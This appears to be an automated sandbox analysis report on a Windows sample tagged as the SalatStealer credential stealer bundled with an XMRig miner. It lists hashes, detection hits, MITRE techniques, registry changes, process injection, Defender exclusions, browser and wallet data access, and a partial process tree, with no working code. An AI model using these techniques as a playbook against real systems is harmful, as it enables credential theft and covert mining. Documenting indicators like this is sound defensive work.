salatstealer | 897b5101cafb0a9104381e8cd260c932df8cc2162bd2d4f26ba968f4b70c63e8

user interaction
yes
max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260130-de
resource tags

arch:x64arch:x86image:win10v2004-20260130-delocale:de-deos:windows10-2004-x64systemwindows
submitted
20/04/2026, 15:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
keshka.exe
Size 3.4MB
Sample260420-szce2set3q
SHA256 897b5101cafb0a9104381e8cd260c932df8cc2162bd2d4f26ba968f4b70c63e8
MD5 20eef3d8647f48e17eb7f3804d836518
SHA1 fbe3a3f8d08c980ca36cf9f10ac9f72982d899dc
SHA512 8dc2e5f6568da07b03c7f793f7c70dfd7d48883d6fc473ab21931de02d41700f2d95c99a84047c1b144827573293fdd8d40b81219ce5a7d0605c6b7281f8f26a
SSDEEP 98304:J90zEmNW6ABeiCR3MBpTrJNpHfGYMZBCwLCta:X0rk6wwR3c3tH9MbCwLC4
TLSH
T12DF53300C54F7BFAEE5259B4F8DCC5814D4EC5089ED2D69F0A269B76AB43B1C820639F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution salatstealer xmrig miner persistence spyware stealer upx

Malware Config

Signatures

Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer
Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Detect SalatStealer payload 12 IoCs

resource	yara_rule
behavioral2/memory/4212-2-0x00000000003A0000-0x0000000000FF7000-memory.dmp	family_salatstealer
behavioral2/memory/4212-3-0x00000000003A0000-0x0000000000FF7000-memory.dmp	family_salatstealer
behavioral2/memory/4212-4-0x00000000003A0000-0x0000000000FF7000-memory.dmp	family_salatstealer
behavioral2/memory/4212-14-0x00000000003A0000-0x0000000000FF7000-memory.dmp	family_salatstealer
behavioral2/memory/3268-16-0x0000000000CD0000-0x0000000001927000-memory.dmp	family_salatstealer
behavioral2/memory/3268-17-0x0000000000CD0000-0x0000000001927000-memory.dmp	family_salatstealer
behavioral2/memory/3268-18-0x0000000000CD0000-0x0000000001927000-memory.dmp	family_salatstealer
behavioral2/memory/3268-59-0x0000000000CD0000-0x0000000001927000-memory.dmp	family_salatstealer
behavioral2/memory/1928-117-0x00000000008F0000-0x0000000001547000-memory.dmp	family_salatstealer
behavioral2/memory/2344-157-0x00000000008E0000-0x0000000001537000-memory.dmp	family_salatstealer
behavioral2/memory/3268-173-0x0000000000CD0000-0x0000000001927000-memory.dmp	family_salatstealer
behavioral2/memory/3268-189-0x0000000000CD0000-0x0000000001927000-memory.dmp	family_salatstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 684 created 580	684	powershell.EXE	5
PID 4552 created 580	4552	powershell.EXE	5

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/memory/2612-295-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/2612-294-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
103	3256	powershell.exe
104	3256	powershell.exe
104	3256	powershell.exe
117	3256	powershell.exe
118	3256	powershell.exe
119	3256	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3884	powershell.exe
4656	powershell.exe
684	powershell.EXE
4552	powershell.EXE

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Executes dropped EXE 5 IoCs

pid	Process
3268	smss.exe
1928	smss.exe
2344	smss.exe
4980	f.exe
1892	rjyzvekkqzsi.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
108	pastebin.com
109	pastebin.com

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	rjyzvekkqzsi.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\MRT.exe	f.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 4980 set thread context of 1172	4980	f.exe	128
PID 1892 set thread context of 4752	1892	rjyzvekkqzsi.exe	145
PID 1892 set thread context of 4964	1892	rjyzvekkqzsi.exe	146
PID 1892 set thread context of 2612	1892	rjyzvekkqzsi.exe	148
PID 684 set thread context of 2392	684	powershell.EXE	152
PID 4552 set thread context of 5136	4552	powershell.EXE	153

UPX packed file 24 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4212-0-0x00000000003A0000-0x0000000000FF7000-memory.dmp	upx
behavioral2/memory/4212-2-0x00000000003A0000-0x0000000000FF7000-memory.dmp	upx
behavioral2/memory/4212-3-0x00000000003A0000-0x0000000000FF7000-memory.dmp	upx
behavioral2/memory/4212-4-0x00000000003A0000-0x0000000000FF7000-memory.dmp	upx
behavioral2/files/0x0007000000024482-10.dat	upx
behavioral2/memory/4212-14-0x00000000003A0000-0x0000000000FF7000-memory.dmp	upx
behavioral2/memory/3268-13-0x0000000000CD0000-0x0000000001927000-memory.dmp	upx
behavioral2/memory/3268-16-0x0000000000CD0000-0x0000000001927000-memory.dmp	upx
behavioral2/memory/3268-17-0x0000000000CD0000-0x0000000001927000-memory.dmp	upx
behavioral2/memory/3268-18-0x0000000000CD0000-0x0000000001927000-memory.dmp	upx
behavioral2/memory/3268-59-0x0000000000CD0000-0x0000000001927000-memory.dmp	upx
behavioral2/memory/1928-92-0x00000000008F0000-0x0000000001547000-memory.dmp	upx
behavioral2/memory/1928-117-0x00000000008F0000-0x0000000001547000-memory.dmp	upx
behavioral2/memory/2344-149-0x00000000008E0000-0x0000000001537000-memory.dmp	upx
behavioral2/memory/2344-157-0x00000000008E0000-0x0000000001537000-memory.dmp	upx
behavioral2/memory/3268-173-0x0000000000CD0000-0x0000000001927000-memory.dmp	upx
behavioral2/memory/3268-189-0x0000000000CD0000-0x0000000001927000-memory.dmp	upx
behavioral2/memory/2612-295-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/2612-294-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/2612-292-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/2612-291-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/2612-293-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/2612-289-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/2612-288-0x0000000140000000-0x0000000140835000-memory.dmp	upx

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Windows Sidebar\8488f093-fef2-9f50-af8d-9d8694d393fe	keshka.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\taskhostw.exe	keshka.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\smss.exe	smss.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\smss.exe	smss.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4488	sc.exe
2828	sc.exe
1580	sc.exe
3432	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	keshka.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
524	chrome.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dialer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	dialer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	dialer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	dialer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4212	keshka.exe
4212	keshka.exe
4212	keshka.exe
4212	keshka.exe
552	chrome.exe
552	chrome.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3256	powershell.exe
3256	powershell.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3256	powershell.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe
3268	smss.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeDebugPrivilege	3256	powershell.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe
Token: SeCreatePagefilePrivilege	552	chrome.exe
Token: SeShutdownPrivilege	552	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe
552	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4212 wrote to memory of 3268	4212	keshka.exe	89
PID 552 wrote to memory of 1900	552	chrome.exe	98
PID 552 wrote to memory of 1612	552	chrome.exe	99
PID 552 wrote to memory of 1612	552	chrome.exe	99
PID 552 wrote to memory of 524	552	chrome.exe	100
PID 552 wrote to memory of 2680	552	chrome.exe	101
PID 552 wrote to memory of 2680	552	chrome.exe	101
PID 552 wrote to memory of 4544	552	chrome.exe	103
PID 552 wrote to memory of 4544	552	chrome.exe	103
PID 552 wrote to memory of 1524	552	chrome.exe	104
PID 552 wrote to memory of 1524	552	chrome.exe	104
PID 552 wrote to memory of 2500	552	chrome.exe	105
PID 552 wrote to memory of 2500	552	chrome.exe	105
PID 552 wrote to memory of 1932	552	chrome.exe	106
PID 552 wrote to memory of 1932	552	chrome.exe	106
PID 552 wrote to memory of 4468	552	chrome.exe	107
PID 552 wrote to memory of 4468	552	chrome.exe	107
PID 552 wrote to memory of 804	552	chrome.exe	108
PID 552 wrote to memory of 804	552	chrome.exe	108
PID 552 wrote to memory of 2108	552	chrome.exe	109
PID 3268 wrote to memory of 3256	3268	smss.exe	112
PID 3268 wrote to memory of 1928	3268	smss.exe	114
PID 3268 wrote to memory of 2344	3268	smss.exe	117
PID 3268 wrote to memory of 2032	3268	smss.exe	118
PID 2032 wrote to memory of 4980	2032	cmd.exe	120
PID 552 wrote to memory of 2072	552	chrome.exe	122
PID 552 wrote to memory of 4664	552	chrome.exe	123
PID 552 wrote to memory of 4488	552	chrome.exe	124
PID 4980 wrote to memory of 1172	4980	f.exe	128
PID 4980 wrote to memory of 1172	4980	f.exe	128
PID 4980 wrote to memory of 1172	4980	f.exe	128
PID 4980 wrote to memory of 1172	4980	f.exe	128
PID 4980 wrote to memory of 1172	4980	f.exe	128
PID 1456 wrote to memory of 2060	1456	cmd.exe	135
PID 1892 wrote to memory of 4752	1892	rjyzvekkqzsi.exe	145
PID 1892 wrote to memory of 4752	1892	rjyzvekkqzsi.exe	145
PID 1892 wrote to memory of 4752	1892	rjyzvekkqzsi.exe	145
PID 1892 wrote to memory of 4752	1892	rjyzvekkqzsi.exe	145
PID 1892 wrote to memory of 4752	1892	rjyzvekkqzsi.exe	145
PID 1892 wrote to memory of 4964	1892	rjyzvekkqzsi.exe	146
PID 1892 wrote to memory of 4964	1892	rjyzvekkqzsi.exe	146
PID 1892 wrote to memory of 4964	1892	rjyzvekkqzsi.exe	146
PID 1892 wrote to memory of 4964	1892	rjyzvekkqzsi.exe	146
PID 1892 wrote to memory of 4964	1892	rjyzvekkqzsi.exe	146
PID 1892 wrote to memory of 4964	1892	rjyzvekkqzsi.exe	146
PID 1892 wrote to memory of 4964	1892	rjyzvekkqzsi.exe	146
PID 1892 wrote to memory of 4964	1892	rjyzvekkqzsi.exe	146
PID 1892 wrote to memory of 2612	1892	rjyzvekkqzsi.exe	148
PID 1892 wrote to memory of 2612	1892	rjyzvekkqzsi.exe	148
PID 1892 wrote to memory of 2612	1892	rjyzvekkqzsi.exe	148
PID 2896 wrote to memory of 3716	2896	cmd.exe	149
PID 684 wrote to memory of 2392	684	powershell.EXE	152
PID 684 wrote to memory of 2392	684	powershell.EXE	152
PID 684 wrote to memory of 2392	684	powershell.EXE	152
PID 684 wrote to memory of 2392	684	powershell.EXE	152
PID 684 wrote to memory of 2392	684	powershell.EXE	152
PID 2392 wrote to memory of 580	2392	dllhost.exe	5
PID 2392 wrote to memory of 664	2392	dllhost.exe	7
PID 2392 wrote to memory of 864	2392	dllhost.exe	11
PID 2392 wrote to memory of 1004	2392	dllhost.exe	13
PID 2392 wrote to memory of 392	2392	dllhost.exe	14
PID 2392 wrote to memory of 732	2392	dllhost.exe	15
PID 2392 wrote to memory of 964	2392	dllhost.exe	16
PID 2392 wrote to memory of 1080	2392	dllhost.exe	17

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:580
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:392
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{288a7be8-4e11-4ba2-af4d-db442e5c3986}
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2392
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c9476418-2517-42b4-b3a9-d83ee76006bf}
  2⤵
  PID:5136

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:664

C:\Windows\System32\WUDFHost.exe
